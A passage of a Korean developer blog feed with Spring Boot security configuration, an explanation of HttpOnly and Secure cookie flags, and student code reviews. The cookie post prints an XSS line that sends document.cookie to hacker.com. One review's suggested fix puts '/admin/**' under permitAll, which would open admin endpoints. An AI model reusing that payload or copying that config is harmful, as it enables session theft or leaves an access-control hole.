    log.info(&quot;Query String: {}&quot;, request.getQueryString());
    log.info(&quot;Client IP: {}&quot;, request.getRemoteAddr());
    return true;
}

// 컨트롤러 실행 및 모든 처리가 완료된 후
@Override
public void afterCompletion(@NonNull HttpServletRequest request, @NonNull HttpServletResponse response, @NonNull Object handler, @Nullable Exception ex) {

    // 실행시간 계산
    Long startTime = (Long) request.getAttribute(&quot;startTime&quot;);
    Long executionTime = System.currentTimeMillis() - startTime;


    log.info(&quot;Status: {}&quot;, response.getStatus());
    log.info(&quot;Execution Time: {}ms&quot;, executionTime);
    if (ex != null) {
        log.error(&quot;Exception: {}&quot;, ex.getMessage());
    }
    log.info(&quot;=== 요청 종료 ===\n&quot;);

    // 메모리 누수 방지 MDC 정리
    MDC.clear();
}</code></pre><pre><code>// Enum Validator</code></pre><p>public class EnumValidator {</p>
<pre><code>// enum 반환
public static &lt;E extends Enum&lt;E&gt;&gt; E validateEnum(Class&lt;E&gt; enumClass, String value) {
    String upperValue = value.toUpperCase();
    return Arrays.stream(enumClass.getEnumConstants())
            .filter(e -&gt; e.name().equals(upperValue))
            .findFirst()
            .orElseThrow(() -&gt; new BusinessException(ErrorCode.INVALID_INPUT_VALUE,
                    String.format(&quot;&#39;%s&#39;는 %s enum에 존재하지 않는 값입니다.&quot;, value, enumClass.getSimpleName())));
}

//반환 x 유효성만 검사
public static &lt;E extends Enum&lt;E&gt;&gt; void validateEnumOrThrow(Class&lt;E&gt; enumClass, String value) {
    String upperValue = value.toUpperCase();
    if (Arrays.stream(enumClass.getEnumConstants()).noneMatch(e -&gt; e.name().equals(upperValue))) {
        throw new BusinessException(ErrorCode.INVALID_INPUT_VALUE,
                String.format(&quot;&#39;%s&#39;는 %s enum에 존재하지 않는 값입니다.&quot;, value, enumClass.getSimpleName()));
    }
}

//Boolean 반환
public static &lt;E extends Enum&lt;E&gt;&gt; boolean isValidEnum(Class&lt;E&gt; enumClass, String value) {
    String upperValue = value.toUpperCase();
    return Arrays.stream(enumClass.getEnumConstants())
            .anyMatch(e -&gt; e.name().equals(upperValue));
}</code></pre><p>}</p>
<pre><code>
10. Secutiry 설정</code></pre><p>@Configuration
@EnableWebSecurity
@RequiredArgsConstructor
public class SecurityConfig {</p>
<pre><code>private final JwtAuthenticationFilter jwtAuthenticationFilter;
private final ObjectMapper objectMapper;

@PostConstruct
public void init() {
    SecurityContextHolder.setStrategyName(SecurityContextHolder.MODE_INHERITABLETHREADLOCAL);
}

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    return http
            .csrf(csrf -&gt; csrf.ignoringRequestMatchers(&quot;/h2-console/**&quot;).disable())
            .sessionManagement(session -&gt; session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
            .headers(headers -&gt; headers.frameOptions(frameOptions -&gt; frameOptions.sameOrigin()))
            .authorizeHttpRequests(auth -&gt; auth
                    .requestMatchers(
                            &quot;/h2-console/**&quot;,
                            &quot;/swagger-ui/**&quot;,
                            &quot;/api/v1/v3/api-docs/**&quot;,
                            &quot;/api/v1/auth/**&quot;,
                            &quot;/api/v1/system/**&quot;
                    ).permitAll()
                    .anyRequest().authenticated()
            )
            .exceptionHandling(exceptions -&gt; exceptions
                    .authenticationEntryPoint(customAuthenticationEntryPoint())
                    .accessDeniedHandler(customAccessDeniedHandler())
            )
            .addFilterBefore(jwtAuthenticationFilter, UsernamePasswordAuthenticationFilter.class) //jwt 없으면 필요없음
            .build();
}

@Bean
public AuthenticationEntryPoint customAuthenticationEntryPoint() {
    return (request, response, authException) -&gt; {
        response.setStatus(401);
        response.setContentType(&quot;application/json;charset=UTF-8&quot;);

        String requestPath = request.getRequestURI();
        ApiResponse&lt;Void&gt; errorResponse = ApiResponse.error(ErrorCode.AUTHENTICATION_REQUIRED, requestPath);
        String jsonResponse = objectMapper.writeValueAsString(errorResponse);
        response.getWriter().write(jsonResponse);
    };
}

@Bean
public AccessDeniedHandler customAccessDeniedHandler() {
    return (request, response, accessDeniedException) -&gt; {
        response.setStatus(403);
        response.setContentType(&quot;application/json;charset=UTF-8&quot;);
        String requestPath = request.getRequestURI();
        ApiResponse&lt;Void&gt; errorResponse = ApiResponse.error(ErrorCode.ACCESS_DENIED, requestPath);
        String jsonResponse = objectMapper.writeValueAsString(errorResponse);
        response.getWriter().write(jsonResponse);
    };
}</code></pre><p>}</p>
<p>```
11. 더미데이터 시연파일 만들어두기</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[HTTPOnly / Secure 플래그]]></title>
            <link>https://velog.io/@a_zin/HTTPOnly-Secure-%ED%94%8C%EB%9E%98%EA%B7%B8</link>
            <guid>https://velog.io/@a_zin/HTTPOnly-Secure-%ED%94%8C%EB%9E%98%EA%B7%B8</guid>
            <pubDate>Tue, 30 Dec 2025 09:51:17 GMT</pubDate>
            <description><![CDATA[<p>  HttpOnly 플래그</p>
<p>  HttpOnly는 쿠키에 JavaScript를 통한 접근을 차단하는 보안 속성입니다. 이 플래그가 설정되면 document.cookie로 쿠키 값을 읽을 수 없습니다. 예를 들어 악성 스크립트가 페이지에 삽입되어도 document.cookie를 실행해서 토큰을 훔쳐갈 수 없습니다. XSS(Cross-Site Scripting) 공격으로부터 쿠키를 보호하는 핵심 방어 수단입니다. 쿠키는 HTTP 요청 시에만 서버로 자동 전송되며, 브라우저의 JavaScript 엔진에서는 완전히 접근이 차단됩니다.</p>
<p>  Secure 플래그</p>
<p>  Secure는 HTTPS 연결에서만 쿠키를 전송하도록 제한하는 속성입니다. HTTP(암호화되지 않은 연결)에서는 쿠키가 전송되지 않아 중간자 공격(Man-in-the-Middle)으로부터 쿠키를 보호합니다. 공용 와이파이 같은 안전하지 않은 네트워크에서 누군가 패킷을 가로채더라도 쿠키가 암호화된 HTTPS 연결에서만 전송되기 때문에 토큰이 평문으로 노출되지 않습니다. 프로덕션 환경에서는 반드시 설정해야 하는 필수 보안 옵션입니다.</p>
<p>  실제 동작 비교</p>
<p>  플래그 없을 때: 악성 스크립트 <script>fetch('<a href="http://hacker.com?token=&#39;">http://hacker.com?token=&#39;</a> + document.cookie)</script>가 실행되면 토큰이 즉시 탈취됩니다.</p>
<p>  HttpOnly 설정 시: 같은 스크립트를 실행해도 document.cookie가 빈 문자열을 반환하여 토큰 탈취가 불가능합니다.</p>
<p>  Secure 설정 시: HTTP로 접속하면 쿠키가 아예 전송되지 않아 네트워크 스니핑으로도 토큰을 가로챌 수 없습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[GPT 사용량 한계 설정]]></title>
            <link>https://velog.io/@a_zin/GPT-%EC%82%AC%EC%9A%A9%EB%9F%89-%ED%95%9C%EA%B3%84-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@a_zin/GPT-%EC%82%AC%EC%9A%A9%EB%9F%89-%ED%95%9C%EA%B3%84-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Mon, 29 Dec 2025 08:50:57 GMT</pubDate>
            <description><![CDATA[<p><a href="https://github.com/DivaryOfficial/divary-spring/pull/225/files">https://github.com/DivaryOfficial/divary-spring/pull/225/files</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[코드리뷰++]]></title>
            <link>https://velog.io/@a_zin/%EC%BD%94%EB%93%9C%EB%A6%AC%EB%B7%B0%EB%A5%BC-%ED%86%B5%ED%95%B4-%EB%B0%B0%EC%9A%B4%EC%A0%90</link>
            <guid>https://velog.io/@a_zin/%EC%BD%94%EB%93%9C%EB%A6%AC%EB%B7%B0%EB%A5%BC-%ED%86%B5%ED%95%B4-%EB%B0%B0%EC%9A%B4%EC%A0%90</guid>
            <pubDate>Mon, 29 Dec 2025 07:44:06 GMT</pubDate>
            <description><![CDATA[<ol>
<li>import java.awt.print.Pageable은 프린터용</li>
<li>SELECT m, CASE WHEN EXISTS (...) THEN 1 ELSE 0 END<blockquote>
<ul>
<li>2개를 조회하는데, 반환 타입이 List<Mission>으로 되어 있습니다. 이것은 런타임 에러를 발생시킬 수 있습니다.</li>
<li>JPA는 여러 컬럼 조회 시 Object[] 또는 Tuple로 반환합니다. 하나의 엔티티(Mission)로는 받을 수 없습니다.</li>
<li>List &lt;MissionWithPreferenceDto&gt; findNewMissionsByUser(...);처럼 해결</li>
</ul>
</blockquote>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[UMC 코드리뷰 12월 15일 ~ 12월 27일]]></title>
            <link>https://velog.io/@a_zin/UMC-%EC%BD%94%EB%93%9C%EB%A6%AC%EB%B7%B0-12%EC%9B%94-15%EC%9D%BC-12%EC%9B%94-27%EC%9D%BC</link>
            <guid>https://velog.io/@a_zin/UMC-%EC%BD%94%EB%93%9C%EB%A6%AC%EB%B7%B0-12%EC%9B%94-15%EC%9D%BC-12%EC%9B%94-27%EC%9D%BC</guid>
            <pubDate>Sat, 27 Dec 2025 13:09:06 GMT</pubDate>
            <description><![CDATA[<h1 id="코드-리뷰---yessi-week10">코드 리뷰 - yessi-week10</h1>
<h3 id="1-reviewserviceimpl---npe-위험">1. ReviewServiceImpl - NPE 위험</h3>
<p><strong>파일</strong>: <code>ReviewServiceImpl.java:31-35</code></p>
<pre><code class="language-java">// 현재 코드
Optional&lt;User&gt; user = userRepository.findById(dto.userId());
Optional&lt;Restaurant&gt; restaurant = restaurantRepository.findById(restaurantId);

Review review = ReviewConverter.toReview(dto, user.orElse(null), restaurant.orElse(null));</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>User나 Restaurant가 존재하지 않을 때 <code>null</code>을 전달하여 NullPointerException 발생 가능</li>
<li>리뷰는 반드시 User와 Restaurant가 있어야 하는데 null 허용은 데이터 무결성 위반</li>
<li>DTO에서 null 체크를 한 것과는 별개로, DTO에서 전달된 userId와 restaurantId가 DB에 저장되어 있지 않을 때 reviewRepository에 각각 null로 저장될 위험이 있습니다</li>
</ul>
<p><strong>시나리오</strong>:</p>
<pre><code>// 클라이언트 요청
{
  &quot;userId&quot;: 999,      // null 아님 (DTO 검증 통과)
  &quot;content&quot;: &quot;맛있어요&quot;,
  &quot;rating&quot;: 5
}

// Service 처리
Optional&lt;User&gt; user = userRepository.findById(999);
// DB에 id=999인 User가 없으면 Optional.empty() 반환

user.orElse(null)  // null이 됨
// → ReviewConverter에 null 전달
// → Review 엔티티에 user=null로 저장 (데이터 무결성 위반)</code></pre><p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">User user = userRepository.findById(dto.userId())
    .orElseThrow(() -&gt; new UserException(UserErrorCode.NOT_FOUND));
Restaurant restaurant = restaurantRepository.findById(restaurantId)
    .orElseThrow(() -&gt; new RestaurantException(RestaurantErrorCode.NOT_FOUND));

Review review = ReviewConverter.toReview(dto, user, restaurant);</code></pre>
<hr>
<h3 id="2-usercommandserviceimpl---선호-음식-저장-로직-오류">2. UserCommandServiceImpl - 선호 음식 저장 로직 오류</h3>
<p><strong>파일</strong>: <code>UserCommandServiceImpl.java:40</code></p>
<pre><code class="language-java">// 현재 코드
if (dto.userPreferenceList().size() &gt; 1) {
    // 선호 음식 저장
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li><code>size() &gt; 1</code>로 체크하면 선호 음식이 1개일 때 저장되지 않음</li>
<li><code>&gt; 0</code> 또는 <code>!isEmpty()</code>를 사용해야 함</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">if (!dto.userPreferenceList().isEmpty()) {
    // 선호 음식 저장
}</code></pre>
<hr>
<h3 id="3-usermissionserviceimpl---npe-위험">3. UserMissionServiceImpl - NPE 위험</h3>
<p><strong>파일</strong>: <code>UserMissionServiceImpl.java:30-36</code></p>
<pre><code class="language-java">// 현재 코드
Optional&lt;User&gt; user = userRepository.findById(dto.userId());
boolean exists = missionRepository.existsById(missionId);
if (!exists) {
    throw new UserMissionException(UserMissionErrorCode.EXISTS_MISSION);
}

UserMission usermission = UserMissionConverter.startMission(user.orElse(null));</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>User가 존재하지 않을 때 null을 전달하여 NPE 발생 가능</li>
<li>Mission 존재 확인만 하고 실제 Mission 객체는 가져오지 않음 -&gt; UserMissionRepository에 적용하지 않음</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">User user = userRepository.findById(dto.userId())
    .orElseThrow(() -&gt; new UserException(UserErrorCode.NOT_FOUND));
Mission mission = missionRepository.findById(missionId)
    .orElseThrow(() -&gt; new UserMissionException(UserMissionErrorCode.MISSION_NOT_FOUND));

UserMission usermission = UserMissionConverter.startMission(user, mission);
userMissionRepository.save(usermission);</code></pre>
<hr>
<h2 id="security-issues-보안-취약점">Security Issues (보안 취약점)</h2>
<h3 id="4-reviewcontroller---인증-우회-가능-idor-취약점">4. ReviewController - 인증 우회 가능 (IDOR 취약점)</h3>
<p><strong>파일</strong>: <code>ReviewController.java:26-30</code></p>
<pre><code class="language-java">@PostMapping(&quot;/restaurants/{restaurantId}/reviews&quot;)
public ApiResponse&lt;ReviewResDTO.PostReviewDTO&gt; postReviews(
    @PathVariable Long restaurantId,
    @RequestBody @Valid ReviewReqDTO.PostReviewDTO dto  // dto에 userId 포함
) {
    return ApiResponse.onSuccess(GeneralSuccessCode.CREATED,
        reviewService.postReview(restaurantId, dto));
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>클라이언트가 요청 바디에 <code>userId</code>를 직접 전달할 수 있어 다른 사용자로 위조 가능</li>
<li>인증된 사용자와 요청의 userId가 다를 수 있음</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@PostMapping(&quot;/restaurants/{restaurantId}/reviews&quot;)
public ApiResponse&lt;ReviewResDTO.PostReviewDTO&gt; postReviews(
    @PathVariable Long restaurantId,
    @RequestBody @Valid ReviewReqDTO.PostReviewDTO dto,
    @AuthenticationPrincipal CustomUserDetails userDetails  // 인증된 사용자 정보
) {
    return ApiResponse.onSuccess(GeneralSuccessCode.CREATED,
        reviewService.postReview(restaurantId, dto, userDetails.getUserId()));
}</code></pre>
<hr>
<h3 id="5-jwtauthfilter---인증-실패-처리-누락">5. JwtAuthFilter - 인증 실패 처리 누락</h3>
<p><strong>파일</strong>: <code>JwtAuthFilter.java:44-56</code></p>
<pre><code class="language-java">if (jwtUtil.isValid(token)) {
    String email = jwtUtil.getEmail(token);
    UserDetails user = customUserDetailsService.loadUserByUsername(email);
    Authentication auth = new UsernamePasswordAuthenticationToken(
            user, null, user.getAuthorities());
    SecurityContextHolder.getContext().setAuthentication(auth);
}
filterChain.doFilter(request, response);  // 토큰이 유효하지 않아도 다음 필터로 진행</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>토큰이 유효하지 않아도 다음 필터로 진행됨</li>
<li><code>/restaurants/{id}/reviews</code> 같은 인증 필요 엔드포인트에서 무단 접근 가능</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<ul>
<li>현재 로직은 실제로는 문제가 없을 수 있음 (SecurityConfig에서 <code>authenticated()</code> 설정으로 차단)</li>
<li>하지만 명확성을 위해 else 블록 추가 고려:<pre><code class="language-java">if (jwtUtil.isValid(token)) {
  // ... 인증 처리
} else {
  // 유효하지 않은 토큰에 대해 로깅 또는 명시적 처리
  log.warn(&quot;Invalid JWT token: {}&quot;, token);
}
filterChain.doFilter(request, response);</code></pre>
</li>
</ul>
<hr>
<h2 id="performance--best-practice-issues">Performance &amp; Best Practice Issues</h2>
<h3 id="6-reviewquerydslimpl---jpaqueryfactory-매번-생성">6. ReviewQueryDslImpl - JPAQueryFactory 매번 생성</h3>
<p><strong>파일</strong>: <code>ReviewQueryDslImpl.java:24</code></p>
<pre><code class="language-java">@Override
public List&lt;ReviewResDTO.UserReviewResponse&gt; searchReview(Predicate predicate) {
    JPAQueryFactory queryFactory = new JPAQueryFactory(em);  // 매번 생성
    // ...
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>매 쿼리마다 JPAQueryFactory 인스턴스를 새로 생성하여 성능 저하</li>
<li>JPAQueryFactory는 재사용 가능한 객체</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@Repository
@RequiredArgsConstructor
public class ReviewQueryDslImpl implements ReviewQueryDsl {
    private final JPAQueryFactory queryFactory;  // 생성자로 주입

    @Override
    public List&lt;ReviewResDTO.UserReviewResponse&gt; searchReview(Predicate predicate) {
        QReview review = QReview.review;
        QRestaurant restaurant = QRestaurant.restaurant;

        return queryFactory
            .select(/* ... */)
            .from(review)
            .join(review.restaurant, restaurant)  // 연관관계 활용
            .where(predicate)
            .fetch();
    }
}</code></pre>
<p><strong>Config 추가 필요</strong>:</p>
<pre><code class="language-java">@Configuration
public class QueryDslConfig {
    @Bean
    public JPAQueryFactory jpaQueryFactory(EntityManager em) {
        return new JPAQueryFactory(em);
    }
}</code></pre>
<hr>
<h3 id="7-transactional-패키지-혼용">7. @Transactional 패키지 혼용</h3>
<p><strong>파일</strong>: 여러 서비스 클래스</p>
<pre><code class="language-java">import jakarta.transaction.Transactional;  // JTA 트랜잭션</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>Spring의 <code>@Transactional</code> 대신 JTA의 <code>jakarta.transaction.Transactional</code> 사용</li>
<li>Spring 환경에서는 <code>org.springframework.transaction.annotation.Transactional</code> 권장</li>
<li>JTA 트랜잭션은 기능이 제한적 (readOnly, timeout 등 미지원)</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">import org.springframework.transaction.annotation.Transactional;</code></pre>
<hr>
<h2 id="code-quality-issues">Code Quality Issues</h2>
<h3 id="8-reviewqueryserviceimpl---if문-개선-필요">8. ReviewQueryServiceImpl - if문 개선 필요</h3>
<p><strong>파일</strong>: <code>ReviewQueryServiceImpl.java:53-60</code></p>
<pre><code class="language-java">builder.and(review.user.id.eq(userId));
if(type.equals(&quot;rating&quot;)) {
    builder.and(review.rating.eq(Integer.parseInt(query)));
}
if(type.equals(&quot;restaurantName&quot;)) {
    builder.and(review.restaurant.name.eq(query));
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>else if 없이 모든 조건을 체크함 (type은 하나만 선택되는데 비효율)</li>
<li>유효하지 않은 type에 대한 처리 없음</li>
<li>NumberFormatException 처리 없음</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">builder.and(review.user.id.eq(userId));

switch (type) {
    case &quot;rating&quot;:
        try {
            builder.and(review.rating.eq(Integer.parseInt(query)));
        } catch (NumberFormatException e) {
            throw new ReviewException(ReviewErrorCode.INVALID_RATING);
        }
        break;
    case &quot;restaurantName&quot;:
        builder.and(review.restaurant.name.eq(query));
        break;
    default:
        throw new ReviewException(ReviewErrorCode.INVALID_SEARCH_TYPE);
}</code></pre>
<hr>
<h3 id="9-querydsl-join-최적화">9. QueryDSL Join 최적화</h3>
<p><strong>파일</strong>: <code>ReviewQueryDslImpl.java:39</code></p>
<pre><code class="language-java">// 현재 코드
.join(restaurant).on(review.restaurant.id.eq(restaurant.id))</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>이미 엔티티에 연관관계가 정의되어 있는데 수동으로 조인 조건 명시</li>
<li>코드 중복 및 유지보수성 저하</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">// 연관관계 활용
.join(review.restaurant, restaurant)</code></pre>
<p><strong>이유</strong>:</p>
<ul>
<li>Review 엔티티에 이미 <code>@ManyToOne Restaurant restaurant</code>로 관계 정의됨</li>
<li>JPA가 자동으로 조인 조건 생성 (<code>review.restaurant_id = restaurant.id</code>)</li>
<li>코드가 간결해지고 엔티티 변경에 강함</li>
</ul>
<hr>
<h2 id="개선-제안">개선 제안</h2>
<h3 id="10-baseentity에-pk-추가">10. BaseEntity에 PK 추가</h3>
<p><strong>파일</strong>: <code>BaseEntity.java</code></p>
<p><strong>현재 상황</strong>:</p>
<ul>
<li>모든 엔티티에서 PK를 개별적으로 정의</li>
</ul>
<p><strong>제안</strong>:</p>
<pre><code class="language-java">@MappedSuperclass
@Getter
public abstract class BaseEntity {

    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;

    @CreatedDate
    @Column(updatable = false)
    private LocalDateTime createdAt;

    @LastModifiedDate
    private LocalDateTime updatedAt;
}</code></pre>
<p><strong>장점</strong>:</p>
<ul>
<li>PK 정의 코드 중복 제거</li>
<li>일관된 PK 전략 적용</li>
<li>유지보수성 향상</li>
</ul>
<hr>
<h1 id="코드-리뷰---sharon-week10">코드 리뷰 - sharon-week10</h1>
<h3 id="1-jpaqueryfactory-매번-생성">1. JPAQueryFactory 매번 생성</h3>
<p><strong>파일</strong>: <code>ReviewQueryDslImpl.java:25</code>, <code>ReviewQueryDslImpl.java:38</code></p>
<pre><code class="language-java">// 현재 코드
@Override
public List&lt;Review&gt; searchReview(Predicate predicate) {
    JPAQueryFactory queryFactory = new JPAQueryFactory(em);
    QReview review = QReview.review;

    return queryFactory
            .selectFrom(review)
            .where(predicate)
            .fetch();
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>매 메서드 호출마다 JPAQueryFactory 인스턴스를 새로 생성</li>
<li>불필요한 객체 생성으로 인한 성능 저하 및 메모리 낭비</li>
<li>QueryDSL 공식 문서에서 권장하지 않는 패턴</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@Repository
@RequiredArgsConstructor
public class ReviewQueryDslImpl implements ReviewQueryDsl {

    private final JPAQueryFactory queryFactory;

    @Override
    public List&lt;Review&gt; searchReview(Predicate predicate) {
        QReview review = QReview.review;

        return queryFactory
                .selectFrom(review)
                .where(predicate)
                .fetch();
    }

    @Override
    public Page&lt;Review&gt; searchReviewWithPaging(Predicate predicate, Pageable pageable) {
        QReview review = QReview.review;

        List&lt;Review&gt; content = queryFactory
                .selectFrom(review)
                .where(predicate)
                .offset(pageable.getOffset())
                .limit(pageable.getPageSize())
                .fetch();

        Long total = queryFactory
                .select(review.count())
                .from(review)
                .where(predicate)
                .fetchOne();

        return new PageImpl&lt;&gt;(content, pageable, total != null ? total : 0L);
    }
}</code></pre>
<hr>
<h3 id="2-securityconfig-중복-경로-설정">2. SecurityConfig 중복 경로 설정</h3>
<p><strong>파일</strong>: <code>SecurityConfig.java:35-41</code>, <code>SecurityConfig.java:60-62</code></p>
<pre><code class="language-java">// 현재 코드
private final String[] allowUris = {
    &quot;/users/login&quot;, &quot;/users/sign-up&quot;,
    &quot;/swagger-ui/**&quot;, &quot;/swagger-resources/**&quot;, &quot;/v3/api-docs/**&quot;,
    &quot;/login/page/**&quot;, &quot;/callback&quot;,
    &quot;/oauth2/**&quot;, &quot;/login/oauth2/**&quot;,
    &quot;/api/v1/auth/**&quot;
};

// 중복 설정
.authorizeHttpRequests(requests -&gt; requests
    .requestMatchers(allowUris).permitAll()
    .requestMatchers(&quot;/api/v1/auth/login&quot;,&quot;/api/v1/auth/signup&quot;).permitAll()  // 중복
    .requestMatchers(&quot;/admin/**&quot;).hasRole(&quot;ADMIN&quot;)
    .requestMatchers(&quot;/oauth2/**&quot;, &quot;/login/oauth2/**&quot;).permitAll()  // 중복
    .requestMatchers(&quot;/callback&quot;).permitAll()  // 중복
    .requestMatchers(&quot;/login/**&quot;).permitAll()
    .anyRequest().authenticated()
)</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>allowUris에 이미 정의된 경로를 중복해서 설정</li>
<li>코드 가독성 저하 및 유지보수 어려움</li>
<li>설정 불일치 발생 가능성</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">private final String[] allowUris = {
    &quot;/users/login&quot;, &quot;/users/sign-up&quot;,
    &quot;/swagger-ui/**&quot;, &quot;/swagger-resources/**&quot;, &quot;/v3/api-docs/**&quot;,
    &quot;/login/**&quot;, &quot;/callback&quot;,
    &quot;/oauth2/**&quot;,
    &quot;/api/v1/auth/**&quot;,
    &quot;/admin/**&quot;
};

.authorizeHttpRequests(requests -&gt; requests
    .requestMatchers(allowUris).permitAll()
    .requestMatchers(&quot;/admin/**&quot;).hasRole(&quot;ADMIN&quot;)
    .anyRequest().authenticated()
)</code></pre>
<hr>
<h3 id="3-필드-주입-사용">3. 필드 주입 사용</h3>
<p><strong>파일</strong>: <code>ReviewController.java:20-24</code></p>
<pre><code class="language-java">// 현재 코드
@RestController
@RequestMapping(&quot;/api&quot;)
@Validated
public class ReviewController implements ReviewControllerDocs {

    @Autowired
    private ReviewQueryService reviewQueryService;

    @Autowired
    private ReviewService reviewService;</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>필드 주입(@Autowired) 사용은 Spring에서 권장하지 않음</li>
<li>순환 참조 문제 발견이 늦어짐</li>
<li>테스트 작성 시 의존성 주입이 어려움</li>
<li>final 키워드를 사용할 수 없어 불변성 보장 불가</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@RestController
@RequestMapping(&quot;/api&quot;)
@Validated
@RequiredArgsConstructor
public class ReviewController implements ReviewControllerDocs {

    private final ReviewQueryService reviewQueryService;
    private final ReviewService reviewService;</code></pre>
<hr>
<h3 id="4-baseentity-lastmodifiedby-잘못된-사용">4. BaseEntity @LastModifiedBy 잘못된 사용</h3>
<p><strong>파일</strong>: <code>BaseEntity.java:8</code></p>
<pre><code class="language-java">// 현재 코드
@MappedSuperclass
@EntityListeners(AuditingEntityListener.class)
@Getter
public class BaseEntity {

    @CreatedDate
    @Column(name = &quot;create_time&quot;, nullable = false)
    private LocalDateTime createTime;

    @LastModifiedBy  // 잘못된 어노테이션
    @Column(name = &quot;update_time&quot;, nullable = false)
    private LocalDateTime updateTime;
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>@LastModifiedBy는 수정한 사용자 정보를 저장하는 어노테이션</li>
<li>수정 시간에는 @LastModifiedDate를 사용해야 함</li>
<li>현재 상태로는 제대로 동작하지 않음</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@MappedSuperclass
@EntityListeners(AuditingEntityListener.class)
@Getter
public class BaseEntity {

    @CreatedDate
    @Column(name = &quot;create_time&quot;, nullable = false)
    private LocalDateTime createTime;

    @LastModifiedDate
    @Column(name = &quot;update_time&quot;, nullable = false)
    private LocalDateTime updateTime;
}</code></pre>
<hr>
<h3 id="5-shop-엔티티-type-필드-enumerated-누락">5. Shop 엔티티 Type 필드 @Enumerated 누락</h3>
<p><strong>파일</strong>: <code>Shop.java:34-35</code></p>
<pre><code class="language-java">// 현재 코드
@Column(name = &quot;type&quot;, nullable = false)
private Type type;</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>Enum 타입에 @Enumerated 어노테이션이 누락됨</li>
<li>기본값인 ORDINAL로 저장되어 순서 변경 시 데이터 오류 발생</li>
<li>가독성 저하</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@Column(name = &quot;type&quot;, nullable = false)
@Enumerated(EnumType.STRING)
private Type type;</code></pre>
<hr>
<h3 id="6-별점-필터링-로직-중복">6. 별점 필터링 로직 중복</h3>
<p><strong>파일</strong>: <code>ReviewQueryServiceImpl.java:110-127</code></p>
<pre><code class="language-java">// 현재 코드
if (rating != null) {
    if (rating == 5) {
        builder.and(review.rating.eq(5));
    } else if (rating == 4) {
        builder.and(review.rating.eq(4));
    } else if (rating == 3) {
        builder.and(review.rating.eq(3));
    } else if (rating == 2) {
        builder.and(review.rating.eq(2));
    } else if (rating == 1) {
        builder.and(review.rating.eq(1));
    }
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>불필요한 조건문 중복</li>
<li>코드 가독성 저하</li>
<li>유지보수 어려움</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">if (rating != null &amp;&amp; rating &gt;= 1 &amp;&amp; rating &lt;= 5) {
    builder.and(review.rating.eq(rating));
}</code></pre>
<hr>
<h3 id="7-패키지명-오타">7. 패키지명 오타</h3>
<p><strong>파일</strong>: <code>global/ouath/</code> 패키지</p>
<pre><code>현재: com.example.umc.global.ouath</code></pre><p><strong>문제점</strong>:</p>
<ul>
<li>OAuth의 철자 오류 (ouath -&gt; oauth)</li>
<li>패키지명은 프로젝트 전반에 걸쳐 사용되므로 표준 명명 규칙 준수 필요</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code>변경: com.example.umc.global.oauth</code></pre><hr>
<h3 id="8-type-기반-조건-분기를-switch문으로-개선">8. type 기반 조건 분기를 Switch문으로 개선</h3>
<p><strong>파일</strong>: <code>ReviewQueryServiceImpl.java:57-89</code></p>
<pre><code class="language-java">// 현재 코드
@Override
public ReviewResDTO.ReviewList searchReview(String query, String type) {
    QReview review = QReview.review;
    BooleanBuilder builder = new BooleanBuilder();

    if (type.equals(&quot;location&quot;)) {
        builder.and(review.shop.location.name.contains(query));
    }

    if (type.equals(&quot;rating&quot;)) {
        builder.and(review.rating.goe(Integer.parseInt(query)));
    }

    if (type.equals(&quot;both&quot;)) {
        String firstQuery = query.split(&quot;&amp;&quot;)[0];
        String secondQuery = query.split(&quot;&amp;&quot;)[1];
        builder.and(review.shop.location.name.contains(firstQuery));
        builder.and(review.rating.goe(Integer.parseInt(secondQuery)));
    }

    List&lt;Review&gt; reviewList = reviewRepository.searchReview(builder);
    return ReviewConverter.toReviewListDTO(reviewList);
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>3개의 독립적인 if문으로 type 체크</li>
<li>상호 배타적인 조건인데 모든 if문이 매번 평가됨</li>
<li>null 체크 없이 equals() 사용 시 NullPointerException 위험</li>
<li>split() 사용 시 배열 범위 검증 없음</li>
<li>가독성 저하 및 성능 낭비</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@Override
